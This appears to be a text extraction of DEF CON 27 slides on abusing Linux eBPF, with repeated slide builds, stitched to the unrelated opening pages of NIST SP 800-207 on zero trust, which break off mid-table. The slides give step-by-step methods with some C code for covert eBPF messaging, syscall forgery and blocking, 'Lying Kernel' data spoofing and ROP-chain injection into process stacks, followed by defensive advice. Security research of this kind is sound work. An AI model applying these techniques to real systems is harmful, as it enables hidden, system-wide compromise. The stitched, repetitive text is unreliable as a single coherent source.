received eBPF map • Through bpf(BPF_OBJ_GET_INFO_BY_FD,...)/bpf_obj_get_info_by_fd() struct bpf_map_info info = {}; uint32_t info_len = sizeof(info); bpf_obj_get_info_by_fd(shady_map_fd, &info, &info_len); char* buf = (char*)malloc(info.value_size); ... eBPF Program Primer • Normally, an eBPF program is a single function with all others inlined into it eBPF Program Primer • Normally, an eBPF program is a single function with all others inlined into it • But eBPF supports loading multiple eBPF programs/functions into a single execution context • eBPF has a map type for storing eBPF program file descriptors, BPF_MAP_TYPE_PROG_ARRAY • And eBPF’s bpf_tail_call helper function, performs no-return calls into another program • By their index into a given BPF_MAP_TYPE_PROG_ARRAY map eBPF Program Primer • Normally, an eBPF program is a single function with all others inlined into it • But eBPF supports loading multiple eBPF programs/functions into a single execution context • eBPF has a map type for storing eBPF program file descriptors, BPF_MAP_TYPE_PROG_ARRAY • And eBPF’s bpf_tail_call helper function, performs no-return calls into another program • By their index into a given BPF_MAP_TYPE_PROG_ARRAY map • Additionally, BPF_MAP_TYPE_PROG_ARRAY maps can be updated at runtime eBPF Program Primer • Normally, an eBPF program is a single function with all others inlined into it • But eBPF supports loading multiple eBPF programs/functions into a single execution context • eBPF has a map type for storing eBPF program file descriptors, BPF_MAP_TYPE_PROG_ARRAY • And eBPF’s bpf_tail_call helper function, performs no-return calls into another program • By their index into a given BPF_MAP_TYPE_PROG_ARRAY map • Additionally, BPF_MAP_TYPE_PROG_ARRAY maps can be updated at runtime • Such that bpf_tail_call invocations will call the new eBPF program swapped into the map Interprocess Call-Based Messaging IPC via the swapping in and out of eBPF programs that deliver messages to userspace 1. In the eBPF-C program, declare two maps: • A BPF_MAP_TYPE_PROG_ARRAY map to hold 2 program FDs, including the main entry point program • A BPF_MAP_TYPE_ARRAY (or similar) map to send messages to userspace 2. The body of the main entry point eBPF program should be as follows: SEC("socket/0") int main_prog(struct __sk_buff *skb) { bpf_tail_call(skb, &prog_map, 1); return -1; } 3. In the ”reader” userspace program, load the above eBPF program as a BPF_PROG_TYPE_SOCKET_FILTER along with its maps 4. Use Unix domain sockets, or a similar API, to pass both map FDs to a ”writer” process Interprocess Call-Based Messaging (2) 5. In the reader, set up a TCP socket server 6. Attach the eBPF program to it using setsockopt(2) with SO_ATTACH_BPF 7. Have the reader connect to its own server and send data to it at a regular interval • After sending the data, check the BPF_MAP_TYPE_ARRAY map for a message 8. In the writer, load a BPF_PROG_TYPE_SOCKET_FILTER program • It should declare a BPF_MAP_TYPE_ARRAY map identical to the one from step 1 9. Extract its instructions and iterate through them to inject the BPF_MAP_TYPE_ARRAY map FD in place of the one they declared for (size_t i=0; i < insns_cnt; i++) { if (prog[i].code != (BPF_LD | BPF_IMM | BPF_DW)) { continue; } if (prog[i].src_reg == BPF_PSEUDO_MAP_FD) { prog[i].imm = recvd_array_map; } } Interprocess Call-Based Messaging (3) 10. Re-load the modified instructions to get a new eBPF program FD 11. Place the writer’s eBPF program FD into index 1 of the BPF_MAP_TYPE_PROG_ARRAY map uint32_t key = 1; bpf_map_update_elem(recvd_prog_map, &key, &writer_prog_fd, BPF_ANY); DEMO eBPF Socket Filter Primer • The BPF_PROG_TYPE_SOCKET_FILTER eBPF program type is special • It is the only one that may be used freely freely by unprivileged processes eBPF Socket Filter Primer • The BPF_PROG_TYPE_SOCKET_FILTER eBPF program type is special • It is the only one that may be used freely freely by unprivileged processes • It is also poorly documented eBPF Socket Filter Primer • The BPF_PROG_TYPE_SOCKET_FILTER eBPF program type is special • It is the only one that may be used freely freely by unprivileged processes • It is also poorly documented • With privileges, a process can create raw IP sockets • Without privileges, a process may only create normal sockets (TCP, UDP, Unix) • Attaching a BPF_PROG_TYPE_SOCKET_FILTER program to a socket means completely different things depending on the socket type eBPF Socket Filter Primer • The BPF_PROG_TYPE_SOCKET_FILTER eBPF program type is special • It is the only one that may be used freely freely by unprivileged processes • It is also poorly documented • With privileges, a process can create raw IP sockets • Without privileges, a process may only create normal sockets (TCP, UDP, Unix) • Attaching a BPF_PROG_TYPE_SOCKET_FILTER program to a socket means completely different things depending on the socket type • For raw sockets, the program will see packets from the beginning of its ethernet frame • For IP-based TCP/UDP sockets, it will see packets from the start of the transport header • For Unix sockets, it will see packets from the start of the data payload eBPF Socket Filter Primer • The BPF_PROG_TYPE_SOCKET_FILTER eBPF program type is special • It is the only one that may be used freely freely by unprivileged processes • It is also poorly documented • With privileges, a process can create raw IP sockets • Without privileges, a process may only create normal sockets (TCP, UDP, Unix) • Attaching a BPF_PROG_TYPE_SOCKET_FILTER program to a socket means completely different things depending on the socket type • For raw sockets, the program will see packets from the beginning of its ethernet frame • For IP-based TCP/UDP sockets, it will see packets from the start of the transport header • For Unix sockets, it will see packets from the start of the data payload • Additionally, while these programs cannot modify the packets, they can drop them, which breaks SOCK_STREAM, but is not SOCK_DGRAM eBPF Socket Filter Primer • The BPF_PROG_TYPE_SOCKET_FILTER eBPF program type is special • It is the only one that may be used freely freely by unprivileged processes • It is also poorly documented • With privileges, a process can create raw IP sockets • Without privileges, a process may only create normal sockets (TCP, UDP, Unix) • Attaching a BPF_PROG_TYPE_SOCKET_FILTER program to a socket means completely different things depending on the socket type • For raw sockets, the program will see packets from the beginning of its ethernet frame • For IP-based TCP/UDP sockets, it will see packets from the start of the transport header • For Unix sockets, it will see packets from the start of the data payload • Additionally, while these programs cannot modify the packets, they can drop them, which breaks SOCK_STREAM, but is not SOCK_DGRAM • But, more interestingly, these programs run with the packet is received, regardless of if the process has performed a recv(2)/read(2) on the socket FD Packet Reduce IPC via the peeking and/or dropping of packets that will never be read 1. Set up a TCP/UDP socket server or a Unix socket server • If the socket is stream-based, the userland process should never read from it • If it is datagram-based, the userland process may sendto(2)/recvfrom(2) the socket 2. Use setsockopt/SO_ATTACH_BPF to attach a BPF_PROG_TYPE_SOCKET_FILTER program • If attached to a stream socket, read all incoming data into an eBPF map shared with userspace • If attached to a datagram socket, read all incoming data into an eBPF map shared with userspace and drop all incoming packets 3. At regular intervals, have the userspace program poll the shared eBPF map for messages Packet Reduce IPC via the peeking and/or dropping of packets that will never be read 1. Set up a TCP/UDP socket server or a Unix socket server • If the socket is stream-based, the userland process should never read from it • If it is datagram-based, the userland process may sendto(2)/recvfrom(2) the socket 2. Use setsockopt/SO_ATTACH_BPF to attach a BPF_PROG_TYPE_SOCKET_FILTER program • If attached to a stream socket, read all incoming data into an eBPF map shared with userspace • If attached to a datagram socket, read all incoming data into an eBPF map shared with userspace and drop all incoming packets 3. At regular intervals, have the userspace program poll the shared eBPF map for messages • This technique can be used in the reverse direction to prevent packets from being sent while reading the data they contain • It may also be used by various other privileged eBPF programs that operate on (and can write to!) packets (e.g. XDP, LWT, etc.) DEMO eBPF Kernel Tracing Primer • eBPF supports kernel tracing based on Linux’s kprobe and tracepoint kernel APIs • This is restricted to privileged processes and can be abused to compromise entire systems eBPF Kernel Tracing Primer • eBPF supports kernel tracing based on Linux’s kprobe and tracepoint kernel APIs • This is restricted to privileged processes and can be abused to compromise entire systems • These programs can read arbitrary kernel and userspace memory eBPF Kernel Tracing Primer • eBPF supports kernel tracing based on Linux’s kprobe and tracepoint kernel APIs • This is restricted to privileged processes and can be abused to compromise entire systems • These programs can read arbitrary kernel and userspace memory • This presents an interesting opportunity for IPC on a system eBPF Kernel Tracing Primer • eBPF supports kernel tracing based on Linux’s kprobe and tracepoint kernel APIs • This is restricted to privileged processes and can be abused to compromise entire systems • These programs can read arbitrary kernel and userspace memory • This presents an interesting opportunity for IPC on a system • By using the ability to read arbitrary process and kernel memory, tracing eBPF programs can access data that was never explicitly sent to the kernel, and data that will be rejected in-kernel Whole System Legilimency IPC via the peeking of data that was never fully sent nor received across system interfaces • Closed Reading • This technique uses an eBPF Kprobe trace on close(2) • It takes advantage of the fact that close(2) will automatically fail on any negative FD • By establishing a handshake that fits in file descriptors (int) such that the highest bit is 1, an eBPF tracer and colluding processes may agree on locations within memory to read into maps • This may involve several calls to close(2) as part of a port knocking-like protocol int kprobe__sys_close(struct pt_regs *ctx, int fd) { size_t pid_tgid = bpf_get_current_pid_tgid(); size_t pid = (u32)(pid_tgid >> 32); ... // if connection established if (fd != handshake_fd) { return 0; } ... // save connection state Absolute (Reliable) Corruption eBPF Kernel Tracing Primer (2) • In addition to reading userland and kernel memory, kernel tracing eBPF programs can also write userland memory • Through the bpf_probe_write_user() helper function Note: Using this helper raises an event in the kernel eBPF Kernel Tracing Primer (2) • In addition to reading userland and kernel memory, kernel tracing eBPF programs can also write userland memory • Through the bpf_probe_write_user() helper function Note: Using this helper raises an event in the kernel • They can also abort syscalls at entry through bpf_override_return() eBPF Kernel Tracing Primer (2) • In addition to reading userland and kernel memory, kernel tracing eBPF programs can also write userland memory • Through the bpf_probe_write_user() helper function Note: Using this helper raises an event in the kernel • They can also abort syscalls at entry through bpf_override_return() • Most of the interesting data sent in syscalls are pointers to userland memory eBPF Kernel Tracing Primer (2) • In addition to reading userland and kernel memory, kernel tracing eBPF programs can also write userland memory • Through the bpf_probe_write_user() helper function Note: Using this helper raises an event in the kernel • They can also abort syscalls at entry through bpf_override_return() • Most of the interesting data sent in syscalls are pointers to userland memory • Therefore, tracing eBPF programs can overwrite string and struct syscall inputs and outputs • And prevent syscalls from reaching the kernel Interdisciplinary Syscall Interdiction Precise corruption of data transiting a syscall for nefarious purposes Three main variants: • Syscall Redirection/Forgery • Directing a target process’ syscalls “elsewhere” • Hijacking a target process’ execution context to perform syscalls • Useful Targets: open(2), connect(2), write(2), send*(2), bpf(2) • Lying Kernel • Providing false data to a process • Useful Targets: *stat(2), read(2), revc*(2), bpf(2) • Black Hole • Preventing a process from communicating with the outside world • Useful Targets: open(2), connect(2), socket(2), write(2), send*(2), bpf(2) Interdisciplinary Syscall Interdiction — Syscall Forgery/Redirection 1. Attach a kernel tracing eBPF program to target syscall entries and exits • This program should be configured with target processes and/or inputs to match/replace • This can be done through code generation of the program or by passing data in eBPF maps 2. On hooked syscalls, the eBPF program’s kprobe will determine if its inputs should be modified • If they should not, return 3. Set contextual state (including original inputs) in an eBPF map indexed by PID/TGID 4. Apply the configured modifications 5. On hooked syscall returns, the eBPF program’s kretprobe should identify if there is saved contextual state based on the process’s PID/TGID/FD • If not, return 6. Restore the relevant data to user memory and clear the contextual state for the process from the relevant eBPF map Interdisciplinary Syscall Interdiction — Lying Kernel 1. Attach a kernel tracing eBPF program to target syscall entries and exits • This program should use kprobes as necessary to track state and descriptors for matching • It should also be configured with target processes, FDs, and/or outputs to match/replace • This can be done through code generation of the program or by passing data in eBPF maps 2. On hooked syscalls, the eBPF program’s kprobe will determine if the syscall’s results should be modified unconditionally • If they should, write the relevant memory and abort the syscall with an appropriate value 3. Set contextual state (including original inputs) in an eBPF map indexed by PID/TGID/FD 4. On hooked syscall returns, the eBPF program’s kretprobe should identify if there is saved contextual state based on the process’s PID/TGID/FD • If not, return 5. Determine if the legitimate syscall output should be modified • If not, return 6. Apply the configured modifications 7. Clear the contextual state for the process from the relevant eBPF map Interdisciplinary Syscall Interdiction — Black Hole 1. Attach a kernel tracing eBPF program to target syscall entries • This program should be configured with target processes • This can be done through code generation of the program or by passing data in eBPF maps 2. On hooked syscalls, the eBPF program’s kprobe will abort the syscall • As applicable, it will abort with an appropriate return value • It may also write to userspace memory to spoof a successful result before aborting eBPF Kernel Tracing Primer (3) • The bpf_probe_write_user() helper function has one main limitation eBPF Kernel Tracing Primer (3) • The bpf_probe_write_user() helper function has one main limitation • It cannot write non-writable pages eBPF Kernel Tracing Primer (3) • The bpf_probe_write_user() helper function has one main limitation • It cannot write non-writable pages • This means that it cannot write to the text or rodata sections • At least for properly compiled programs • This also means that it can only generally write to the stack, heap, and static data sections, which may contain useful targets: • Function pointers • Saved file descriptors • Scripting language textual content • Dynamically-generated shell commands eBPF Kernel Tracing Primer (3) • The bpf_probe_write_user() helper function has one main limitation • It cannot write non-writable pages • This means that it cannot write to the text or rodata sections • At least for properly compiled programs • This also means that it can only generally write to the stack, heap, and static data sections, which may contain useful targets: • Function pointers • Saved file descriptors • Scripting language textual content • Dynamically-generated shell commands • But there is no guarantee that at least one such abusable target will exist across all processes eBPF Kernel Tracing Primer (3) • The bpf_probe_write_user() helper function has one main limitation • It cannot write non-writable pages • This means that it cannot write to the text or rodata sections • At least for properly compiled programs • This also means that it can only generally write to the stack, heap, and static data sections, which may contain useful targets: • Function pointers • Saved file descriptors • Scripting language textual content • Dynamically-generated shell commands • But there is no guarantee that at least one such abusable target will exist across all processes • However, all processes have return addresses At the Stack with Ebert and ROPer Precise corruption of the stack to inject generic or dynamic ROP chains • There are several phases to this technique 0. Payload Pre-Generation (generic ROP chain) 1. Syscall Selection 2. Process Filtration 3. Text Section Identification • Attaining Address Spacial Awareness (generic ROP chain) • Stack Skimming (dynamically generated ROP chain) 4. Text Extraction (dynamically generated ROP chain) 5. Payload Generation (dynamically generated ROP chain) 6. Stack Skimming Redux 7. Backup Memory 8. Payload Injection and Execution 9. Coordinated Cleanup • While they do not necessarily need to be followed serially, it is often simpler to do so At the Stack with Ebert and ROPer — Setup and TargetAcquisition 0. Payload Pre-Generation 1 Find a commonly loaded shared library with useful gadgets • For example, glibc has an internal dlopen(3) implementation • dlopen(3) takes only a char* path and int • On success it loads a shared library from the path and will automatically execute its constructors 2 Scan for gadgets 3 Assemble a ROP chain • By hand or with an automatic ROP chain generator 1. Syscall Selection • Register a generic eBPF kprobe on syscalls regularly invoked by target processes • If using a generic ROP chain, select only syscalls made by or on behalf of the selected library 2. Process Filtration • Within the eBPF kprobe program, profile the processes and their syscalls to prevent further manipulation of unintended targets At the Stack with Ebert and ROPer — Text Section Identification 3. Attaining Address Spacial Awareness 1 Within the registered eBPF kprobe program, extract the original instruction pointer register value from the kprobe context 2 Verify that the memory it references is a valid syscall instruction 3 Using a pre-computed offset from the syscall instruction, compute the base address of the library 3. Stack Skimming 1 Within the registered eBPF kprobe program, extract the original stack register value from the kprobe context 2 Scan the stack for the return address 1 For each valid offset, determine if the value on the stack is an address into the text section 2 If so, shift it backwards and attempt to determine if the previous instruction was a call 3 If so, determine if the call was direct or through a PLT entry 4 If direct, compute and save the call target and caller addresses 5 If PLT-based, parse the PLT jump instruction to compute the target, saving it and the caller address 3 Scan backwards from these text section address to identify the start of their mapped regions At the Stack with Ebert and ROPer — Text Extraction and Payload Generation 4. Text Extraction • Using the base addresses identified in the Stack Skimming step, extract their entire mapped ranges page by page until a page fault it encountered 5. Payload Generation • Use a ROP chain generator to create a payload that can load and execute arbitrary code, and finally perform the userland half of the cleanup routine At the Stack with Ebert and ROPer — Code Execution 6. Stack Skimming Redux 1 Perform the same steps as the original Stack Skimming operation to obtain the address containing the return address of the syscall stub 2 Using an eBPF map, store the context of the syscall and return from the kprobe 7. Backup Memory 1 In the eBPF kretprobe program of the same syscall, validate that the syscall’s return is to be overwritten with ROP chain 2 Back up all memory that will be clobbered by the ROP chain’s execution 8. Payload Injection and Execution 1 Write the ROP chain into the stack starting at the location of the syscall stub’s return address 2 Return from the eBPF kretprobe program 3 The syscall stub will eventually return to the beginning of the ROP chain • This payload should perform desired functionality and then perform the first phase of its cleanup At the Stack with Ebert and ROPer — Finale 9. Coordinated Cleanup 1 In the first part of the ROP chain’s cleanup routine, the payload should issue a Closed Reading syscall to an eBPF kprobe program 2 This program, when accessed with a magic value, writes most of original stack back • However, it should not write over the remaining gadgets in original chain 3 It should also write the final ROP chain cleanup gadgets past the end of original stack 4 The Closed Reader eBPF kprobe program should then return 5 The second part of the ROP chain’s cleanup routine will execute, shifting the stack pointer to newly written ROP gadgets implementing the last part of cleanup routine 6 The final part of the ROP chain’s cleanup routine will execute, writing back the original stack values over the last parts of the originally written gadgets 7 The last remaining gadget will set the return value for the original syscall 8 Control flow should return back to the caller of the syscall stub Defense Against The Dark Arts Defense Against The Dark Arts • Remove/Blacklist the bpf(2) syscall entirely Defense Against The Dark Arts • Remove/Blacklist the bpf(2) syscall entirely • Modern Linux increasingly requires eBPF support, so it will be compiled in Defense Against The Dark Arts • Remove/Blacklist the bpf(2) syscall entirely • Modern Linux increasingly requires eBPF support, so it will be compiled in • What do you do when someone eventually accesses it? Defense Against The Dark Arts • Remove/Blacklist the bpf(2) syscall entirely • Modern Linux increasingly requires eBPF support, so it will be compiled in • What do you do when someone eventually accesses it? • Log all loaded eBPF programs • eBPF resources (programs, maps, etc) can be enumerated and dumped by privileged users • bpftool is a (really cool) userland utility for accessing the relevant APIs Defense Against The Dark Arts • Remove/Blacklist the bpf(2) syscall entirely • Modern Linux increasingly requires eBPF support, so it will be compiled in • What do you do when someone eventually accesses it? • Log all loaded eBPF programs • eBPF resources (programs, maps, etc) can be enumerated and dumped by privileged users • bpftool is a (really cool) userland utility for accessing the relevant APIs • However, this is still susceptible to Lying Kernel attacks on the bpf(2) syscall Defense Against The Dark Arts • Remove/Blacklist the bpf(2) syscall entirely • Modern Linux increasingly requires eBPF support, so it will be compiled in • What do you do when someone eventually accesses it? • Log all loaded eBPF programs • eBPF resources (programs, maps, etc) can be enumerated and dumped by privileged users • bpftool is a (really cool) userland utility for accessing the relevant APIs • However, this is still susceptible to Lying Kernel attacks on the bpf(2) syscall • Trace syscalls (securely) to detect warning signs • Any time eBPF maps are being transferred between processes • Any time eBPF maps are not being used with eBPF programs • Any time eBPF programs are being transferred between processes • Any time an unexpected eBPF program is being attached to TCP/UDP/Unix socket • Any time an unrecognized eBPF tracer program is created Defense Against The Dark Arts • Remove/Blacklist the bpf(2) syscall entirely • Modern Linux increasingly requires eBPF support, so it will be compiled in • What do you do when someone eventually accesses it? • Log all loaded eBPF programs • eBPF resources (programs, maps, etc) can be enumerated and dumped by privileged users • bpftool is a (really cool) userland utility for accessing the relevant APIs • However, this is still susceptible to Lying Kernel attacks on the bpf(2) syscall • Trace syscalls (securely) to detect warning signs • Any time eBPF maps are being transferred between processes • Any time eBPF maps are not being used with eBPF programs • Any time eBPF programs are being transferred between processes • Any time an unexpected eBPF program is being attached to TCP/UDP/Unix socket • Any time an unrecognized eBPF tracer program is created • It’s still unclear how much more common these operations will get Conclusion • Mo APIs Mo Problems Conclusion • Mo APIs Mo Problems • Even unprivileged eBPF can enable screwy behaviors • Privileged eBPF is nigh-impossible to stop Conclusion • Mo APIs Mo Problems • Even unprivileged eBPF can enable screwy behaviors • Privileged eBPF is nigh-impossible to stop • A good number of eBPF APIs probably don’t need to require crazy privileges • If they become unprivileged, they will probably enable some more shenanigans Conclusion • Mo APIs Mo Problems • Even unprivileged eBPF can enable screwy behaviors • Privileged eBPF is nigh-impossible to stop • A good number of eBPF APIs probably don’t need to require crazy privileges • If they become unprivileged, they will probably enable some more shenanigans • I’m waiting for an eBPF map that can pass arbitrary file descriptors between processes Greetz • Andy O • jkf You can’t hide secrets from the future using math Questions? [email protected] @chaosdatumz Evil eBPF Practical Abuses of an In-Kernel Bytecode Runtime Jeff Dileo DEF CON 27
pdf
NIST Special Publication 800-207 Zero Trust Architecture Scott Rose Oliver Borchert Stu Mitchell Sean Connelly This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 C O M P U T E R S E C U R I T Y NIST Special Publication 800-207 Zero Trust Architecture Scott Rose Oliver Borchert Advanced Network Technologies Division Information Technology Laboratory Stu Mitchell Stu2Labs Stafford, VA Sean Connelly Cybersecurity & Infrastructure Security Agency Department of Homeland Security This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 August 2020 U.S. Department of Commerce Wilbur L. Ross, Jr., Secretary National Institute of Standards and Technology Walter Copan, NIST Director and Under Secretary of Commerce for Standards and Technology Authority This publication has been developed by NIST in accordance with its statutory responsibilities under the Federal Information Security Modernization Act (FISMA) of 2014, 44 U.S.C. § 3551 et seq., Public Law (P.L.) 113-283. NIST is responsible for developing information security standards and guidelines, including minimum requirements for federal information systems, but such standards and guidelines shall not apply to national security systems without the express approval of appropriate federal officials exercising policy authority over such systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130. Nothing in this publication should be taken to contradict the standards and guidelines made mandatory and binding on federal agencies by the Secretary of Commerce under statutory authority. Nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other federal official. This publication may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright in the United States. Attribution would, however, be appreciated by NIST. National Institute of Standards and Technology Special Publication 800-207 Natl. Inst. Stand. Technol. Spec. Publ. 800-207, 59 pages (August 2020) CODEN: NSPUE2 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Certain commercial entities, equipment, or materials may be identified in this document in order to describe an experimental procedure or concept adequately. Such identification is not intended to imply recommendation or endorsement by NIST, nor is it intended to imply that the entities, materials, or equipment are necessarily the best available for the purpose. There may be references in this publication to other publications currently under development by NIST in accordance with its assigned statutory responsibilities. The information in this publication, including concepts and methodologies, may be used by federal agencies even before the completion of such companion publications. Thus, until each publication is completed, current requirements, guidelines, and procedures, where they exist, remain operative. For planning and transition purposes, federal agencies may wish to closely follow the development of these new publications by NIST. Organizations are encouraged to review all draft publications during public comment periods and provide feedback to NIST. Many NIST cybersecurity publications, other than the ones noted above, are available at https://csrc.nist.gov/publications. Comments on this publication may be submitted to: National Institute of Standards and Technology Attn: Advanced Network Technologies Division, Information Technology Laboratory 100 Bureau Drive (Mail Stop 8920) Gaithersburg, MD 20899-8920 Email: [email protected] All comments are subject to release under the Freedom of Information Act (FOIA). NIST SP 800-207 ZERO TRUST ARCHITECTURE ii This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Reports on Computer Systems Technology The Information Technology Laboratory (ITL) at the National Institute of Standards and Technology (NIST) promotes the U.S. economy and public welfare by providing technical leadership for the Nation’s measurement and standards infrastructure. ITL develops tests, test methods, reference data, proof of concept implementations, and technical analyses to advance the development and productive use of information technology. ITL’s responsibilities include the development of management, administrative, technical, and physical standards and guidelines for the cost-effective security and privacy of other than national security-related information in federal information systems. The Special Publication 800-series reports on ITL’s research, guidelines, and outreach efforts in information system security, and its collaborative activities with industry, government, and academic organizations. Abstract Zero trust (ZT) is the term for an evolving set of cybersecurity paradigms that move defenses from static, network-based perimeters to focus on users, assets, and resources. A zero trust architecture (ZTA) uses zero trust principles to plan industrial and enterprise infrastructure and workflows. Zero trust assumes there is no implicit trust granted to assets or user accounts based solely on their physical or network location (i.e., local area networks versus the internet) or based on asset ownership (enterprise or personally owned). Authentication and authorization (both subject and device) are discrete functions performed before a session to an enterprise resource is established. Zero trust is a response to enterprise network trends that include remote users, bring your own device (BYOD), and cloud-based assets that are not located within an enterprise- owned network boundary. Zero trust focuses on protecting resources (assets, services, workflows, network accounts, etc.), not network segments, as the network location is no longer seen as the prime component to the security posture of the resource. This document contains an abstract definition of zero trust architecture (ZTA) and gives general deployment models and use cases where zero trust could improve an enterprise’s overall information technology security posture. Keywords architecture; cybersecurity; enterprise; network security; zero trust. NIST SP 800-207 ZERO TRUST ARCHITECTURE iii This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Acknowledgments This document is the product of a collaboration between multiple federal agencies and is overseen by the Federal CIO Council. The architecture subgroup is responsible for development of this document, but there are specific individuals who deserve recognition. These include Greg Holden, project manager of the Federal CIO Council ZTA project; Alper Kerman, project manager for the NIST/National Cybersecurity Center of Excellence ZTA effort; and Douglas Montgomery. Audience This document is intended to describe zero trust for enterprise security architects. It is meant to aid understanding of zero trust for civilian unclassified systems and provide a road map to migrate and deploy zero trust security concepts to an enterprise environment. Agency cybersecurity managers, network administrators, and managers may also gain insight into zero trust and ZTA from this document. It is not intended to be a single deployment plan for ZTA as an enterprise will have unique business use cases and data assets that require safeguards. Starting with a solid understanding of the organization’s business and data will result in a strong approach to zero trust. Trademark Information All registered trademarks or trademarks belong to their respective organizations. NIST SP 800-207 ZERO TRUST ARCHITECTURE iv This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Patent Disclosure Notice NOTICE: The Information Technology Laboratory (ITL) has requested that holders of patent claims whose use may be required for compliance with the guidance or requirements of this publication disclose such patent claims to ITL. However, holders of patents are not obligated to respond to ITL calls for patents and ITL has not undertaken a patent search in order to identify which, if any, patents may apply to this publication. Following the ITL call for the identification of patent claims whose use may be required for compliance with the guidance or requirements of this publication, notice of one or more such claims has been received. By publication, no position is taken by ITL with respect to the validity or scope of any patent claim or of any rights in connection therewith. The known patent holder(s) has (have), however, provided to NIST a letter of assurance stating either (1) a general disclaimer to the effect that it does (they do) not hold and does (do) not currently intend holding any essential patent claim(s), or (2) that it (they) will negotiate royalty-free or royalty-bearing licenses with other parties on a demonstrably nondiscriminatory basis with reasonable terms and conditions. Details may be obtained from [email protected]. No representation is made or implied that this is the only license that may be required to avoid patent infringement in the use of this publication. NIST SP 800-207 ZERO TRUST ARCHITECTURE v This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Table of Contents 1 Introduction ............................................................................................................ 1 1.1 History of Zero Trust Efforts Related to Federal Agencies .............................. 2 1.2 Structure of This Document ............................................................................ 2 2 Zero Trust Basics ................................................................................................... 4 2.1 Tenets of Zero Trust ....................................................................................... 6 2.2 A Zero Trust View of a Network ...................................................................... 8 3 Logical Components of Zero Trust Architecture ................................................. 9 3.1 Variations of Zero Trust Architecture Approaches ........................................ 11 3.1.1 ZTA Using Enhanced Identity Governance ........................................ 11 3.1.2 ZTA Using Micro-Segmentation ......................................................... 12 3.1.3 ZTA Using Network Infrastructure and Software Defined Perimeters . 12 3.2 Deployed Variations of the Abstract Architecture .......................................... 13 3.2.1 Device Agent/Gateway-Based Deployment ........................................ 13 3.2.2 Enclave-Based Deployment ............................................................... 14 3.2.3 Resource Portal-Based Deployment .................................................. 15 3.2.4 Device Application Sandboxing .......................................................... 16 3.3 Trust Algorithm.............................................................................................. 17 3.3.1 Trust Algorithm Variations .................................................................. 19 3.4 Network/Environment Components .............................................................. 21 3.4.1 Network Requirements to Support ZTA .............................................. 21 4 Deployment Scenarios/Use Cases ..................................................................... 23 4.1 Enterprise with Satellite Facilities.................................................................. 23 4.2 Multi-cloud/Cloud-to-Cloud Enterprise .......................................................... 24 4.3 Enterprise with Contracted Services and/or Nonemployee Access .............. 25 4.4 Collaboration Across Enterprise Boundaries ................................................ 26 4.5 Enterprise with Public- or Customer-Facing Services ................................... 27 5 Threats Associated with Zero Trust Architecture ............................................. 28 5.1 Subversion of ZTA Decision Process ............................................................ 28 5.2 Denial-of-Service or Network Disruption ....................................................... 28 5.3 Stolen Credentials/Insider Threat ................................................................. 29 5.4 Visibility on the Network ................................................................................ 29 NIST SP 800-207 ZERO TRUST ARCHITECTURE vi This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 5.5 Storage of System and Network Information ................................................ 30 5.6 Reliance on Proprietary Data Formats or Solutions ...................................... 30 5.7 Use of Non-person Entities (NPE) in ZTA Administration ............................. 30 6 Zero Trust Architecture and Possible Interactions with Existing Federal Guidance ...................................................................................................................... 32 6.1 ZTA and NIST Risk Management Framework .............................................. 32 6.2 Zero Trust and NIST Privacy Framework ...................................................... 32 6.3 ZTA and Federal Identity, Credential, and Access Management Architecture 33 6.4 ZTA and Trusted Internet Connections 3.0 ................................................... 33 6.5 ZTA and EINSTEIN (NCPS – National Cybersecurity Protection System) ... 34 6.6 ZTA and DHS Continuous Diagnostics and Mitigations (CDM) Program ...... 34 6.7 ZTA, Cloud Smart, and the Federal Data Strategy ....................................... 35 7 Migrating to a Zero Trust Architecture ............................................................... 36 7.1 Pure Zero Trust Architecture ......................................................................... 36 7.2 Hybrid ZTA and Perimeter-Based Architecture ............................................. 36 7.3 Steps to Introducing ZTA to a Perimeter-Based Architected Network ........... 37 7.3.1 Identify Actors on the Enterprise ........................................................ 38 7.3.2 Identify Assets Owned by the Enterprise ............................................ 38 7.3.3 Identify Key Processes and Evaluate Risks Associated with Executing Process ......................................................................................................... 39 7.3.4 Formulating Policies for the ZTA Candidate ....................................... 39 7.3.5 Identifying Candidate Solutions .......................................................... 40 7.3.6 Initial Deployment and Monitoring ...................................................... 40 7.3.7 Expanding the ZTA ............................................................................. 41 References ................................................................................................................... 42 List of Appendices Appendix A— Acronyms ............................................................................................ 45 Appendix B— Identified Gaps in the Current State-of-the-Art in ZTA .................... 46 B.1 Technology Survey ....................................................................................... 46 B.2 Gaps that Prevent an Immediate Move to ZTA ............................................. 47 B.2.1 Lack of Common Terms for ZTA Design, Planning, and Procurement 47 B.2.2 Perception that ZTA Conflicts with Existing Federal Cybersecurity NIST SP 800-207 ZERO TRUST ARCHITECTURE vii This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Policies .......................................................................................................... 47 B.3 Systemic Gaps that Impact ZTA ................................................................... 47 B.3.3 Standardization of Interfaces Between Components .......................... 47 B.3.4 Emerging Standards that Address Overreliance on Proprietary APIs. 48 B.4 Knowledge Gaps in ZTA and Future Areas of Research .............................. 48 B.4.5 Attacker Response to ZTA ................................................................. 49 B.4.6 User Experience in a ZTA Environment ............................................. 49 B.4.7 Resilience of ZTA to Enterprise and Network Disruption .................... 49 B.5 References ................................................................................................... 50 List of Figures Figure 1: Zero Trust Access ............................................................................................ 5 Figure 2: Core Zero Trust Logical Components .............................................................. 9 Figure 3: Device Agent/Gateway Model ........................................................................ 14 Figure 4: Enclave Gateway Model ................................................................................ 15 Figure 5: Resource Portal Model ................................................................................... 16 Figure 6: Application Sandboxes ................................................................................... 17 Figure 7: Trust Algorithm Input ...................................................................................... 18 Figure 8: Enterprise with Remote Employees ............................................................... 24 Figure 9: Multi-cloud Use Case ..................................................................................... 24 Figure 10: Enterprise with Nonemployee Access .......................................................... 25 Figure 11: Cross-Enterprise Collaboration .................................................................... 26 Figure 12: ZTA Deployment Cycle ................................................................................ 37 List of Tables Table B-1: Summary of Identified Deployment 